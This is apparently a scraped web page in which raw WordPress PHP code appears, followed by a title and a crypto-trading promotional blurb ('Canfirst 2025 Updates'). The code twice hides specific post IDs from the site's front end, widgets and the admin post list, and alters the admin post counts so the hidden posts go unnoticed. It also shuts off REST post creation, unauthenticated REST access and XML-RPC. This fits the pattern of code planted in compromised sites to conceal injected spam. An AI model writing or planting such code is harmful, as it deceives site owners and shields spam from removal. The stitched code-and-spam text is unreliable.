add_action('init', function () {
$excluded = array(6745);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
add_action('init', function () {
$excluded = array(53093);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
english 2 – Pratt Direct
Canfirst 2025 Updates – New Features, Trading Tools, and Crypto Options Explore the latest updates from Canfirst for 2025, where enhanced tools and exciting crypto options await your discovery. This year sees significant improvements designed to streamline user experiences and expand functionalities, ensuring you have the best resources at your…